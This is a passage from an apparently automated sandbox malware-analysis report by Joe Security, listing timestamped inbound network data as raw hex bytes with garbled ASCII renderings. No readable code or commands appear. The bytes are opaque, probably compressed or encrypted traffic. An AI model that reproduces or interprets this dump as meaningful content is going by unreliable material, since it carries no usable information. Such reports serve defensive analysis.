2022-09-20 10:10:09 UTC 6223 IN Data Raw: 03 47 1b 1b 41 b1 22 bb 04 3c 84 97 31 90 f1 8b 33 ec de 55 ed e3 39 bd e7 38 30 8b 93 44 e5 89 a2 07 41 39 
32 f4 99 3d 77 25 91 05 b6 00 58 d7 a3 54 87 cd 3e 38 9a 04 1a 57 2a 53 a8 48 c4 7a 0d 11 d9 c1 38 b5 41 77 86 80 5f 
98 be a3 4e e4 a4 b7 09 24 4a 89 c2 60 23 b0 c7 80 96 0b 7a c8 f6 b7 fd d9 d3 8b 78 a7 90 b4 85 d5 d5 11 12 a1 1d ce 
b8 1c 20 d7 40 77 e0 80 c2 c3 39 28 18 ff 2d 28 07 c9 60 23 1c 27 c2 f2 34 b8 c2 5d 11 2d 0d ae 16 a4 41 eb bd cd 8d 3b 
04 11 51 27 e3 6c 1c 93 7d 31 7e 85 b2 24 cf 10 e7 40 37 4a 48 90 b3 8b 8f 3b c5 d7 7d b2 7b a0 60 00 91 00 6f 43 b8 b
d 40 b3 d1 6b b7 0b c7 6c cf 04 82 5b 43 83 55 94 60 d6 8f e5 33 51 61 00 11 d7 79 e9 80 73 80 55 14 4a b5 ae de 81 ae 
21 de c1 14 f7 a0 60 a4 5c ef 20 2f 77 37 64 0c 08 7c 1e 09 76 6f 
Data Ascii: GA"<13U980DA92=w%XT>8W*SHz8Aw_N$J`#zx @w9(-(`#'4]-A;Q'l}1~$@7JH;}{`oC@kl[CU`3QaysUJ!`\ /
w7d|vo

2022-09-20 10:10:09 UTC 6231 IN Data Raw: 4e fd fd 89 72 05 97 8b 9b 88 92 ac b3 28 6e 1a 41 96 89 c4 6e 53 ba 2a 0c 93 2b 63 1a 5b d4 69 e3 88 de 6d 
b7 c8 78 89 d8 af 90 4c 03 55 ed 3d 74 2d 01 02 95 d0 8f b6 a0 62 db 93 c4 e9 21 9a c4 9a 8e da d2 f0 ec 51 b1 03 48 1b 
bd a7 87 83 be b4 21 d0 21 d3 be c9 c9 10 7d 73 0d ef e7 1d 6f e3 a1 0d a6 33 3d 2e ae 60 67 4a 90 05 a3 61 e9 bc 2d 
59 64 33 63 da 90 85 06 38 7e 2d 8a 3a 20 07 8c 0b 8a 51 34 49 39 dd 4c 3c 11 e1 6d b7 54 44 64 0d ac 69 f5 99 4e 6c 
3b dd a8 14 b4 9d d7 d5 f0 2b 94 c7 68 e1 ef 88 f4 96 25 79 1e da e7 8b 87 74 7b 3c e1 5c d0 f1 db b4 95 21 14 73 67 da 
ed a1 6c 65 dc f5 ee ef 9b a2 c4 a4 2b 0a 82 c6 76 3a bb 6a 6f bb 86 54 b1 29 09 0b a9 0a d6 64 05 73 43 9a 9b a7 8e 18 
a3 ff ee ed 8e da ae 4a dc 3f 26 9a 81 57 a3 6f 6e ba 28 2a 0e 
Data Ascii: Nr(nAnS*+c[imxLU=t-b!QH!!}so3=.`gJa-Yd3c8~-: Q4I9L<mTDdiNl;+h%yt{<\!sgle+v:joT)dsCJ?&Won(*

2022-09-20 10:10:09 UTC 6239 IN Data Raw: 5a 22 b9 37 9a 0a 16 19 93 ce 0a 04 92 71 7b 62 70 78 52 60 02 94 45 88 6f 9d a9 f8 5e 55 f1 c7 37 d0 6e 46 
51 c2 a1 c5 56 da bb f1 f6 3e 8a 39 37 14 13 0e 29 74 1e d4 83 3b b2 07 09 82 e5 ac f5 33 eb 7d 10 f2 61 c5 6f 3b e5 82 
5d 71 0a 56 c1 7a ab 6d e5 9f bc 28 19 37 37 22 df aa 56 df 81 51 70 ca ca f0 6e 10 d0 6d ab b2 68 db d6 a2 ed 16 b1 43 
a1 58 e1 71 15 86 a8 e8 52 e9 33 ab d9 3c 38 14 58 fe 20 06 91 60 34 da 5e eb 6f 2c 5f bf 74 7a 9d 48 09 69 3c a0 1a 8d 
95 f2 0b d5 ae 24 65 25 b2 65 22 42 24 41 38 53 c7 dd 25 3a 4d 38 42 f8 4a 3b 3e ab 34 90 a7 fb ca 6e 1b 0a 86 e7 70 22 
96 34 0a 91 d7 c5 c9 c5 9c 90 46 68 d8 be eb 96 ca ae 6b 95 8b 65 ab e2 79 76 c9 f6 8c 92 31 ff 8c 04 f0 da e5 3e 64 b9 
8b 23 1e 2f 19 e3 6a c4 b7 84 5d 75 7e 3e 80 22 8a 4e bf 
Data Ascii: Z"7q{bpxR`Eo^U7nFQV>97)t;3}ao;]qVzm(77"VQpnmhCXqR3<8X `4^o,_tzHi<$e%e"B$A8S%:M8BJ;>4np"4
Fhkeyv1>d#/j]u~>"N

2022-09-20 10:10:09 UTC 6247 IN Data Raw: 45 e8 a0 52 d0 14 10 41 00 15 ea 8b 7f 98 78 84 70 a4 5b 6e 83 48 b6 45 71 bb c0 ac 90 69 49 0a 6c 93 e5 30 
6b 02 0f 80 38 86 09 3b 04 b1 0e 0b cc 32 e6 38 cd a1 2b bd 81 1b 88 98 f3 f6 a6 11 80 05 aa 71 e8 e6 3e c8 dc 21 b2 29 
00 65 dc 20 71 87 90 7f 3e 4c 4d 7a 2b 86 ca be d0 6b 9a f4 b4 b5 b3 e4 77 fe f3 28 2c 60 ea 0d a1 13 c3 08 12 04 f0 b1 
70 60 d2 17 30 fb a0 55 40 b3 85 ed c6 c3 3d 1d 66 bb c7 ae 2b 2a d7 57 76 25 fd 42 a0 39 d6 d3 f9 3f 80 de 62 5f ab 9b 
14 f4 15 c2 86 0c a2 dc b3 80 21 43 ae 9c 82 92 dd 08 38 b2 00 b9 58 30 97 0d 62 0d 9f 18 b9 e7 19 8b 2c 65 9b 66 51 
92 86 54 14 b4 99 31 f0 d1 30 21 ce 75 6c 30 38 e4 52 0a ce ca 00 ce f7 97 60 83 00 ea 75 2a 02 cf a2 41 aa f8 de e1 f2 
73 b0 2b 85 1c db 26 81 02 c2 24 76 32 0c 33 8a 9d 94 4e bd 
Data Ascii: ERAxp[nHEqiIl0k8;28+q>!)e q>LMz+kw(,`p`0U@=f+*Wv%B9?b_!C8X0b,efQT10!ul08R`u*As+&$v23N

2022-09-20 10:10:09 UTC 6255 IN Data Raw: cf e8 35 4b cc 80 ca b0 73 f7 e9 8b d7 01 c9 b7 a5 89 b2 fe 4a cd 87 b6 0d 5b 87 95 5a b9 ea 1c fa 57 4b fa d8 
a8 5f da 85 83 c6 48 34 0b f1 d5 ee 0d 24 eb ef d6 01 a6 b0 ab 31 a8 b2 98 c7 7e a9 f5 19 14 46 97 0e 50 e2 78 2d cd be 
46 ad 03 63 58 ad c7 5c 8d 7d ba 98 2e 8b 37 eb 55 59 94 2b 0c f6 aa 82 c5 26 65 34 2a a8 9c d7 4a 1f 6f e5 60 62 a3 73 
aa 36 63 79 2e 3e f3 95 92 bb 96 9a 48 3a 8a b4 10 82 22 a5 5e ac 4f aa 0a 46 f2 ab 65 ca 69 ca 74 2f 39 91 eb e5 12 d4 
79 3d 20 28 a5 c3 90 4c 2d e2 c0 f1 b5 4e 7d 7b 5e fa 6f 07 66 5e 6d 67 8e 91 f9 59 f9 46 79 3e 9a 2c 2f aa 85 b8 14 0e 
93 01 9d bf fb 8d ff f8 18 ff 3c 64 bf 29 c6 98 7b 58 d6 63 28 df 21 c6 ec 9a 93 c8 bc cd c5 0b f1 f0 ef 2c a1 a1 20 40 09 53 
01 bc 63 f3 bb 2d e1 24 8d 0b cb e4 12 c4 c7 0c 
Data Ascii: 5KsJ[ZWK_H4$1~FPx-FcX\}.7UY+&e4*Jo`bs6cy.>H:"^OFeit/9y= (L-N}{^of^mgYFy>,/<d){Xc(!, @Sc-$

2022-09-20 10:10:09 UTC 6262 IN Data Raw: 4e 9d 3b 1b 40 38 96 5b cf f5 89 3e 30 2f c7 07 1f f0 ed b4 30 2a 36 b5 7a b1 f4 8c 1b 60 9f ff 30 f9 f1 56 da 89 
1c e5 b5 98 2e 9b 81 e4 30 36 ef c4 53 fb b5 b7 d2 cb 8a b4 ca d0 bf 2d 14 da 95 b5 33 74 cd 71 9d 48 30 de 6e 69 eb 23 
de be ad 4d e3 9d a4 f2 3a 98 d6 51 b6 5d 87 6a 70 fb 50 0f 41 ad 8c dc e6 92 14 d3 bb c4 90 cc 78 1c f0 4e 3d 12 88 62 
e8 78 2f 99 19 a1 25 b5 ed e4 b5 fd e0 1d f3 b4 9d 76 b3 98 a9 c3 03 19 91 6f 1c e2 11 85 60 b8 93 50 73 0b 2b 68 d2 a9 
87 64 1b 7a 59 3a 36 aa 7f da f7 f8 18 c6 bf fe ab 5f 1a bf 89 cf ab 5f fb 52 7e ff 55 fd fd 27 7e fd 4b e3 2f fe ba fa 3d d5 df 
cd e7 3b bf b6 7d fd af e1 f9 7f 8a ef ff 02 9f ff 0e 9f ff 01 9f bf 8d cf ef e1 f3 7f e1 f3 ff e2 f3 ab 48 f3 5d e4 7b 88 4f 80 cf 3f 
8d cf 3f 83 cf 7f 85 cf ff 
Data Ascii: N;@8[>0/0*6z`0V.06S-3tqH0ni#M:Q]jpPAxN=bx/%vo`Ps+hdzY:6__R~U'~K/=;}H]{O??

2022-09-20 10:10:09 UTC 6270 IN Data Raw: 9b ed 1e fa 4b 9d 5f 35 38 58 05 12 94 08 63 78 cf 90 5f bc 95 53 ef 8d 7b 5c 14 6d 04 61 53 0a e9 71 ac c6 fd 
5e 42 14 c9 a4 f6 e9 1b b4 da 34 32 c3 96 fa 49 a7 a3 82 4f 39 e5 87 4e d3 bf 7e af f9 83 b9 cd b2 f9 d4 7b df 83 0b 6a f4 
94 a6 13 e5 ec 81 15 1c 5b ef d4 d6 07 76 a2 60 fb b1 bd 15 95 f4 9f 27 b0 87 09 ab 2b 97 c4 7b 27 ee d3 e2 ca c7 a7 50 
7e 30 d5 67 19 df f7 9a 7f 12 d3 79 a6 fe cf d4 ef 7c 47 b0 2b 84 5f aa fc 36 57 c0 1b 9f 92 77 d6 fc e5 69 80 ae 3f 3d 6e 
72 f9 e0 c8 95 59 83 cc da be 6c 7e 8c da b8 d7 fe c4 d8 fa 3d a5 ab 74 7c 74 61 97 f4 73 94 8f 92 78 63 97 83 0e 64 da 
73 e5 0f 2e a0 38 a4 b9 a8 5f c6 fc 7a 63 79 3f f2 e7 f7 e1 a7 09 db 55 4e 0c b7 7f 60 e6 85 fb 91 9c ae 5a 30 d7 30 ee 5c 
e2 5f 76 ea 05 5f cb 99 68 22 38 03 83 e0 dd 
Data Ascii: K_58Xcx_S{\maSq^B42IO9N~{j[v`'+{'P~0gy|G+_6Wwi?=nrYl~=t|tasxcds.8_zcy?UN`Z00\_v_h"8

2022-09-20 10:10:09 UTC 6278 IN Data Raw: 01 f1 ef b3 e5 e5 e5 15 68 92 49 d0 6d 09 5a bd 11 f2 9b c5 9e 45 53 28 fc 83 e3 84 b1 7b 16 37 ff 30 a5 0f bc 
c8 e6 c1 1a 75 05 cd 61 bc eb 46 4e c6 61 f5 69 40 a7 13 19 bd fd c6 f6 ce 93 ed 58 7c 79 5a 49 2d 7c 9b ef ed bc 5d df 
a0 80 c7 3b 07 d4 5f 56 82 6b a2 e0 a7 31 37 6f 2c 47 58 16 60 e2 46 90 28 e1 bf 0f b0 ca ec 27 be bb 61 7e 17 7d be 99 
3e df 4e 9f ef a1 8f 72 8a dd 22 8b 76 b6 36 62 5a 33 ec db f9 8e 3c 6a 9a 3b 52 96 59 5f db de de bc bf b6 b5 f9 11 9b 3e 
9b 80 83 30 e2 f1 3a b5 ec a0 ce b7 33 db 2c d9 90 f2 8d 6b f6 8b ce 85 81 c1 a1 6e a5 f9 37 5d dc 77 b6 de ac 9b fd c3 
f5 f5 7a 1d 7d 8a 7d 9b 3e 36 62 a3 7e b0 c6 5d 4f 3d 44 fb 96 9a 2c 6c d5 f7 d8 2b b5 79 0b 93 92 b1 62 f8 d7 5e 7d fd 
4d fa b5 6d 83 b6 25 24 0a ba df 76 2c 8d 60 49 af 
Data Ascii: hImZES({70uaFNai@X|yZI-|];_Vk17o,GX`F('a~}>Nr"v6bZ3<j;RY_>0:3,kn7]wz}}>6b~]O=D,l+yb^}Mm%$v,`I

2022-09-20 10:10:09 UTC 6286 IN Data Raw: c6 6b 99 0c 7f f6 dc fc 83 ef 38 32 7f fc 3b 8f 0a 65 85 7f b6 3c eb 7f 38 b6 15 31 5c da 7b 88 b7 d8 3c 53 6b ff 
1c e6 1f c9 c6 78 49 76 97 7f e4 fc 3b c7 8d e3 63 98 b3 fa 92 da 5d 29 c8 a6 a5 63 c7 37 13 ba 6c a6 38 3e b6 3d 97 d5 
4f 6f d9 7c 1a 3b 6b c5 18 96 77 08 9f c6 97 10 e3 e7 76 93 39 13 56 bc c2 20 93 8f d7 de 5a 40 53 70 bf 0a bd 0a 43 82 
da 1d 1d 1d 47 10 88 d4 d8 f3 1a 5a ae 27 62 a7 31 a6 6b 4e 1c a2 62 70 f7 89 49 18 e0 19 82 c4 22 14 11 f5 f7 b8 c7 e2 
42 ad 30 6e 36 3a 1d 80 2a 71 fb 33 55 64 a2 32 7f d3 de 33 bd 80 80 fd a4 d3 3f 6a 74 e2 5c 07 db 0e bf ac 7f df fe cc b9 
89 3e 23 ba 16 0f e8 73 fa 5d c5 f5 f0 87 29 ec 63 7f 5e d6 df 83 ef ce c6 db 6a c1 44 b2 55 67 e6 cf fb 23 df 11 88 c2 40 
29 5a b1 6d 35 82 2f e7 1a e4 d5 a5 1d 88 61 
Data Ascii: k82;e<81\{<SkxIv;c])c7l8>=Oo|;kwv9V Z@SpCGZ'b1kNbpI"B0n6:*q3Ud23?jt\>#s])c^jDUg#@)Zm5/a

Timestamp
kBytes
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Direction Data

Copyright Joe Security LLC 2022 Page 141 of 173



2022-09-20 10:10:09 UTC 6294 IN Data Raw: e7 36 51 7c 26 58 30 93 fe 66 cd 2f 7e e2 d5 b6 d8 89 b5 7d 53 2e 8b c7 fb f7 e0 9b 46 27 17 9b 71 eb 9c b0 
b5 e6 e3 27 b7 cf 0f de 65 f1 4a 86 6b 77 1f 8d 4f 4e 2e a6 bc 3f ab 36 cf 6c 5b fb fe e7 67 d5 e9 cf 49 7e 3b bf a0 8e 5d 
f6 7b 90 0c b1 6c dd 32 b5 e1 d6 1e 57 14 5e e5 be ab de a4 33 ac 30 bc 39 eb 02 23 a6 7d cc f6 36 a0 a0 27 85 bb 36 
b4 5a 85 3a c3 30 71 27 44 bb 15 57 2d 58 20 e9 d3 e2 7a 09 f9 ce d3 e2 f2 7f 61 9d 01 b5 4e f5 14 ae 37 a5 fd ff b9 cb 8f 
0d bb 50 46 76 2c 5b d9 41 76 63 29 d4 75 a6 e6 59 e2 78 0f 2e 69 b5 eb cf 61 82 35 9e a3 7d a7 4c ce 70 1e c9 99 e0 
89 62 e5 69 f4 68 94 ed 1a 4d d9 db 66 3c 64 77 9b b1 50 a7 a8 ff b2 78 d7 be 4e d2 18 96 84 d3 37 9d b9 fc 7a 85 c3 48 
db 15 1e 83 ba 81 bb fd 9b 95 b6 2d f1 5f 72 aa c5 fd a3 
Data Ascii: 6Q|&X0f/~}S.F'q'eJkwON.?6l[gI~;]{l2W^309#}6'6Z:0q'DW-X zaN7PFv,[Avc)uYx.ia5}LpbihMf<dwPxN7zH-_r

2022-09-20 10:10:09 UTC 6301 IN Data Raw: 58 c0 12 40 1f 3d ba b6 fa ca cd 57 16 c4 19 8c 32 9b 78 58 a0 43 b2 6c 2c 62 2c 0d d6 4d 33 c8 eb 95 88 96 
88 b3 3e e0 bb 88 86 a9 4f 9d 36 eb 41 b8 07 6b 1b 7d 4e 44 5f 34 18 8b a9 83 77 fc 6c 91 94 58 53 49 00 7c 69 fd 80 73 
00 6d d1 10 8c 1a 77 5b 56 fd b0 7e 4a 19 e6 43 24 a2 c7 ed 64 c8 e7 b0 b3 ab c5 c2 6c 38 1c 25 df 57 3a 29 59 4f 51 01 
3b 58 27 73 96 2e 8e 36 05 39 f2 1c 3a 56 bd 4c 09 4f 04 f9 4a c0 44 14 07 a4 74 94 e6 d3 3b 48 64 16 81 e1 4e 54 94 da 
d5 55 db 83 aa 4b 0a 93 23 d8 cb 29 bf c6 ea 56 de 99 1f 2f aa 26 13 7e aa 89 00 fd a4 f6 2f 76 a1 1e 39 5e 6c ad f0 bf ab 
f8 f7 13 f2 fb 1a ff 7b 1d ff 76 5b fc fb 26 ff fb 0a a7 91 d8 57 f9 df d7 38 4d e3 99 14 69 96 a1 dc a3 33 07 0a ca f6 e7 ed 
a8 27 6c 5a 96 53 9e a1 64 73 86 32 f9 e5 c6 06 
Data Ascii: X@=W2xXCl,b,M3>O6Ak}ND_4wlXSI|ismw[V~JC$dl8%W:)YOQ;X's.69:VLOJDt;HdNTUK#)V/&~/v9^l{v[&W8
Mi3'lZSds2

2022-09-20 10:10:09 UTC 6309 IN Data Raw: 89 4c 8f 54 6d 2d ed 12 a5 02 77 d6 16 20 94 89 5c ee 4d 75 cf ac 73 2b 78 fb 66 bb 64 db 71 77 55 56 0e 59 
cd d6 cd 85 e2 fe 36 ea b3 16 f9 b4 b4 d2 ce 20 b1 a5 e3 b5 21 d5 bb 85 51 83 d3 ab 14 a0 cc d2 17 d0 f2 60 15 c0 2c 56 
66 ea 3a 7d 95 09 bc fe 51 da 87 b3 96 5a b4 2b ae d0 d3 24 61 7d cd f4 d6 d2 d2 11 91 0f 35 9a 9c 34 67 a0 72 5e eb 0f 
4f 96 ce 56 e9 b6 40 97 44 81 6f e3 cb 02 bb 25 c1 64 66 33 c4 56 32 a2 1b bf 98 80 09 a2 39 9d 60 63 85 4a a6 7a 4f fb 
e7 20 20 bd af 69 3c d9 46 d1 8d 25 32 c0 b9 b1 4e 68 0a 67 d2 1d ef 90 58 1d 78 88 2e a7 f0 52 32 8c 0b 4e 97 51 9d 66 
c6 03 15 eb 40 4f c1 47 9a 25 8f 35 89 63 e0 7d ba dd b0 ce 0c 1b ed 60 f9 b6 cf 92 60 ff 81 a2 72 0a 87 38 96 fc 49 8d 
b7 11 4c 71 5e 8b ea 12 6c d6 79 fb 30 97 c7 0b e1 cb 33 
Data Ascii: LTm-w \Mus+xfdqwUVY6 !Q`,Vf:}QZ+$a}54gr^OV@Do%df3V29`cJzO  i<F%2NhgXx.R2NQf@OG%5c}``r8IL
q^ly03

2022-09-20 10:10:09 UTC 6317 IN Data Raw: ee f7 d1 f8 18 e0 4b 07 50 ae 6a b5 b9 55 dd c6 a8 79 5a bb 62 ee f7 9f 51 9b ea 2a e0 11 29 57 e8 0c a4 cb 
c6 4f 18 3f 56 1f 18 34 d2 74 70 3a 84 6b 58 76 f1 ca b1 c8 76 4b f3 35 ad 7a 6b 4d 73 60 48 7c ae 5b 66 7b 67 49 40 da 
83 50 23 a6 bc f1 e0 9c 4e 41 c5 70 9f bb 67 65 ef ce 87 8a 80 95 40 1c c7 9d 71 c5 54 8e 3b 8d 93 34 7a 91 f6 d5 95 f1 
ed db af 2d 7c 8a bf af d3 96 81 9d a2 10 6a c0 3f 9c 6f 15 c5 7a 01 44 aa e7 37 64 c5 7d f4 c4 7c 8c 93 fe 88 36 e3 13 93 
b3 de 52 57 40 aa 9a a7 40 fc 94 cc a9 3d 0c e4 28 a6 4d c8 8b db 30 5e f3 01 0c 38 0f 0a 15 33 17 45 9b c7 d1 45 7f cc 
4e 79 3d 68 09 cd 58 00 07 c8 2a 81 06 dc 78 b0 48 99 9e 52 b7 00 cc 0b 19 ec f0 b6 9f 45 e3 81 dd 0e 58 4d 18 9a 3c be 
d0 06 3c fd 8e 47 00 41 e7 bc ac 78 27 43 c8 62 6e 06 
Data Ascii: KPjUyZbQ*)WO?V4tp:kXvvK5zkMs`H|[f{gI@P#NApge@qT;4z-|j?ozD7d}|6RW@@=(M0^83EENy=
hX*xHREXM<<GAx'Cbn

2022-09-20 10:10:09 UTC 6325 IN Data Raw: b5 c8 d0 80 83 e7 a9 6a b5 04 66 5d 79 29 dd 74 d2 af 9e 93 a3 24 ad 53 9b 86 7b f9 72 3a 8c a4 ee f5 c9 18 
2b 6c a9 0d d8 91 26 dc 38 e7 c2 65 f2 63 3e 2a 00 fb b6 8e 86 4b f1 46 65 9d 51 33 66 d4 06 a2 14 d3 b2 59 d2 85 7d a7 
2c 55 1f 5b c6 3b 2e 24 d0 5c 9c 41 a3 82 58 c0 cc 55 ea 80 d5 fe d9 0c 53 0b 77 92 6a 6a ad 0a cf 5e c0 23 85 77 29 0e 
27 fd ef 01 5b 69 fc 4f 47 b8 57 b8 32 89 7a bb 95 fa 8f e8 41 bd 63 21 65 5e 27 88 8d f3 d9 5d 4f 5d 1c 4c 55 1f 86 22 ad 
66 7c d3 2f ea 24 35 8c 60 1f 7a f3 5d a2 02 42 25 44 54 77 99 a8 13 13 34 e7 f7 4c 50 d5 47 bc db 4c 33 cb ea 37 47 13 
87 c1 b2 f0 d0 be 78 bb f3 e8 8b a9 72 27 b7 f3 06 db 45 b3 db dd 16 14 fd 54 da 84 ed 0b 91 4c cd 48 93 25 d5 4b 16 6a 
e1 ba 47 d6 88 4d 01 8a 2e 09 79 6d ea e1 30 e8 a4 5e 
Data Ascii: jf]y)t$S{r:+l&8ec>*KFeQ3fY},U[;.$\AXUSwjj^#w)'[iOGW2zAc!e^']O]LU"f|/$5`z]B%DTw4LPGL37Gxr
'ETLH%KjGM.ym0^

2022-09-20 10:10:09 UTC 6333 IN Data Raw: 62 86 c9 72 9f c9 0b 9e 71 95 db 64 0d 38 83 2b a5 d4 e8 8f ec 27 31 62 6c 27 cf 4a 08 53 92 47 c1 d2 7d bd 
f3 9b d2 94 3d 03 fc ab 2d ca 76 d0 56 00 32 ae f0 44 59 16 55 25 96 c4 dc 27 b2 62 c2 3a 41 42 f9 96 af 40 13 8e a6 24 
b9 69 27 64 c6 78 93 37 1d bb 88 89 2e a9 af 35 d8 4c 5b 52 ca cb 3d de 19 ae 69 95 e5 b6 55 34 d0 d2 1c 96 bd 48 79 
2c 23 46 87 6b 55 d2 50 28 12 2c a7 68 a1 82 57 d6 b4 7b ac c7 10 5d 5c b5 9d 8d 56 89 b4 7c 12 55 cd b1 08 13 33 10 
36 3b 4d 15 ea 44 d4 e0 18 2f 17 b1 dd d7 61 7b b4 64 b2 a0 57 f9 d5 f5 60 89 86 97 62 6c d3 a2 d2 c7 76 a8 bf ae bd 09 
9b f6 46 7b 4d b5 bb 3a 89 3b f1 34 72 25 73 48 a2 9d da 19 18 0c 37 eb a7 24 b7 f7 07 d2 db cb 56 56 4a f5 4b b4 ef 0c 
d3 a9 e5 90 6f 61 12 3b f2 15 96 95 be 3c 06 ed b5 f5 a5 24 79 
Data Ascii: brqd8+'1bl'JSG}=-vV2DYU%'b:AB@$i'dx7.5L[R=iU4Hy,#FkUP(,hW{]\V|U36;MD/a{dW`blvF{M:;4r%sH7
$VVJKoa;<$y

2022-09-20 10:10:09 UTC 6341 IN Data Raw: 0d d2 1c d8 f7 3b 73 27 f0 0b c0 5f 03 2f fd 03 ea 64 e0 bd fe 64 de 0f f8 0e e0 57 80 dd 7f 31 1f 0a fc 28 f0 27 
c0 2f 6c 60 fe 0e b8 76 8b 7e 36 f7 00 9f b4 15 f3 8d c0 37 f4 67 7e 03 78 e2 00 66 3f f0 9e 5b 33 4f 06 1e 31 88 39 0f f8 
4b e0 bf 80 77 18 cc 9c 01 3c 1d f8 10 e0 08 f0 1d c0 7b 6e c7 dc 09 1c dc 99 f9 04 e0 d6 5d c0 1c f8 4b e0 7e bb 32 1f 
ba 3b 73 37 f0 52 e0 c7 80 77 dc 83 79 3c 70 e1 08 e6 d9 c0 4b 81 57 01 1f b1 27 f3 0a e0 97 f6 62 2e 70 30 0f 2a 01 73 
e0 0e e0 65 c0 d3 66 33 77 01 3f 79 30 f3 e7 c0 03 e7 32 3b 81 4f 04 7e 0c f8 f1 53 99 bf 02 fe d7 69 cc a5 c0 dd c0 a7 03 
6f 7f 0e f3 3e c0 17 00 df 06 fc 14 f0 c7 c0 8b ce 65 be 04 78 f5 79 cc af 02 e7 5f c0 ec 01 7e 1e f8 73 e0 f0 52 48 13 e0 8f 
2f 64 fe 03 f8 84 8b e1 fb 02 67 5f ca 
Data Ascii: ;s'_/ddW1('/l`v~67g~xf?[3O19Kw<{n]K~2;s7Rwy<pKW'b.p0*sef3w?y02;O~Sio>exy_~sRH/dg_

2022-09-20 10:10:09 UTC 6348 IN Data Raw: f8 0f 5c dd 53 3e 06 df 84 3d e7 c9 6b e1 72 f3 b1 ff 70 ba 97 fc 06 36 f3 96 ad e1 e3 70 26 6c ef 83 6c 84 63 
e1 a7 70 9f 05 d8 31 b8 ed 42 79 34 7c 61 11 76 00 1e b8 44 9e 04 7f 84 8d 7c e5 77 70 21 6c ea 27 b7 83 77 c2 71 70 
93 a5 72 2f 78 27 9c 04 8f f6 97 83 e1 fa 2b b0 33 f0 59 38 0b 1e b9 52 5e 08 c7 c2 e9 f0 db 40 cc 74 15 76 12 0e 81 03 ff 
91 cf c1 ad 82 70 a7 f0 39 f8 11 ec ba 46 5e 02 c7 c2 e9 70 99 b5 e8 2d bc 10 de 08 9f 82 b3 e1 5f c1 78 4f 88 3c 0f 3e 08 
7f 5e 27 d7 5e 2f 8f 83 37 c0 a1 1b 90 99 70 b9 30 b9 3f bc 7a 0b 6e 07 fe 17 2e 13 2e e7 c3 75 b6 ca 03 60 4f f8 10 7c 17 
76 d8 26 cf 81 0f c0 a9 b0 7d 04 ee 17 8e 85 d3 e1 55 db f1 4e 78 ec 0e d9 0b 7e be 13 33 82 2d 22 e5 ae 70 28 bc 1f 8e 
87 ef c3 45 a2 e4 1a 70 97 5d f2 4c d8 65 b7 1c 
Data Ascii: \S>=krp6p&llcp1By4|avD|wp!l'wqpr/x'+3Y8R^@tvp9F^p-_xO<>^'^/7p0?zn..u`O|v&}UNx~3-"p(Ep]Le

2022-09-20 10:10:09 UTC 6356 IN Data Raw: f7 33 ce 00 9f 86 37 7d 41 7f e1 f3 f0 0b b8 5b 89 3c 1a 9e 07 ff 0d 1f 82 af c2 5f 61 8b 6f d8 a9 ef f2 30 78 d5 
0f e4 1e 9c 09 e7 c2 c5 b0 59 a9 ec 0c 07 c0 ab e0 03 f0 6d f8 3b dc be 4c 1e 0a 6f 80 8f c1 2d ca 59 fd e7 be f0 26 38 0b 
ee 57 5e 0e 87 0b 61 e3 0a f2 36 f8 24 dc df 40 0e 83 1b 56 92 3d e1 d9 f0 1a b8 95 b1 dc 07 5e 0e ef 85 1b 9a c8 7e f0 
1a 38 0d ee 51 59 9e 0c e7 c3 06 55 50 37 38 13 f6 af 2a ff 0e 37 f9 49 ee 0c 47 c0 71 70 9b 6a b8 2f 6c 61 2e 37 83 8b 
60 4b 0b b9 76 75 d9 07 ee 69 29 4f 85 bd 6b c9 b3 e0 38 2b f9 10 5c c1 5a ae 09 37 87 bb c2 63 e0 08 d8 a5 36 ee 0b 
37 b0 91 07 c2 d7 e0 d7 b0 73 1d b9 3b 3c 17 8e 85 97 da ca 47 e0 9a 76 a8 09 bc 09 3e 05 7f 86 eb d4 95 7b c1 a1 b0 
91 3d 7a 04 17 c0 35 1c e4 92 7a b8 a3 a3 9c 03 df 83 
Data Ascii: 37}A[<_ao0xYm;Lo-Y&8W^a6$@V=^~8QYUP78*7IGqpj/la.7`Kvui)Ok8+\Z7c67s;<Gv>{=z5z

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:09 UTC 6364 IN Data Raw: 8e b0 87 b7 1c 00 57 f2 41 7d e0 08 78 3d 7c 1b 7e 0f 0f ef 2b cf 86 f7 c3 57 60 ab 7e 72 47 f8 3d 5c b1 bf 1c 
02 c7 c0 fb e1 d7 70 d2 00 f9 20 fc 12 ae 35 50 f6 f7 45 6d e1 a6 83 e5 de b4 3f f6 2d 5c 3a 00 bd 80 e7 c1 09 f0 6e 38 0f 
b6 19 2a bb c3 7e c3 51 67 d8 70 84 dc 06 ae 3f 4a ee 00 67 c3 3f e1 fb 63 b0 ab e1 b6 63 65 6f 38 02 de 04 1b 8f c3 9e 
84 87 4e 90 67 c0 d6 13 65 27 38 04 8e 81 53 e0 23 f0 03 f8 5f b8 7c 20 32 08 0f 86 ff cf 44 7d c7 e5 b8 ff 71 1c 47 42 5a 
1c 42 a2 ac 8c 90 71 ec 23 99 d9 a3 cc cc 10 89 42 24 3b 19 95 51 64 cf 92 d3 39 c7 ca 48 66 d9 ab 14 89 23 23 23 54 
4e 11 91 99 c8 ef bf df fb f5 df f3 71 3f ae eb ba bf df cf 78 fb c3 31 f0 1d b8 b4 0f ee 05 0f 87 7d 60 e7 59 f8 1d 3e 0f 3f 82 
2b f8 ca 8e f0 b2 65 a8 33 dc 69 39 32 04 
Data Ascii: WA}x=|~+W`~rG=\p 5PEm?-\:n8*~Qgp?Jg?cceo8Nge'8S#_| 2D}qGBZBq#B$;Qd9Hf###TNq?x1}`Y>?+e3i92

2022-09-20 10:10:09 UTC 6372 IN Data Raw: b2 0f 3c ad 0f 7a 01 9f 81 6f c1 95 fb ca bd e1 94 19 b2 d1 4c b9 a1 a7 3c 00 6e 32 57 1e 0a db f8 cb ff c2 8e 
fb 65 2f 78 d4 41 cc 03 1c 7d 44 ce 84 bb 1d 43 0e c0 35 8f cb 0e f0 6c 38 00 8e 81 5f c1 7f 86 cb cb e1 d0 53 98 1f f8 4a 
84 9c 03 97 3e 2b 37 86 bb c1 ee f0 62 38 08 8e 84 ef c3 79 b0 f1 39 d9 0a 6e 05 8f 87 97 c1 eb e0 43 70 01 5c ee bc 5c 
1b ee 02 0f 87 e7 c1 01 f0 19 f8 21 9c 0f 5b 47 a2 8f b0 27 ec 07 9f 84 1f c1 17 2f c8 59 f0 a5 68 f9 35 dc 2f 06 33 09 6f 86 
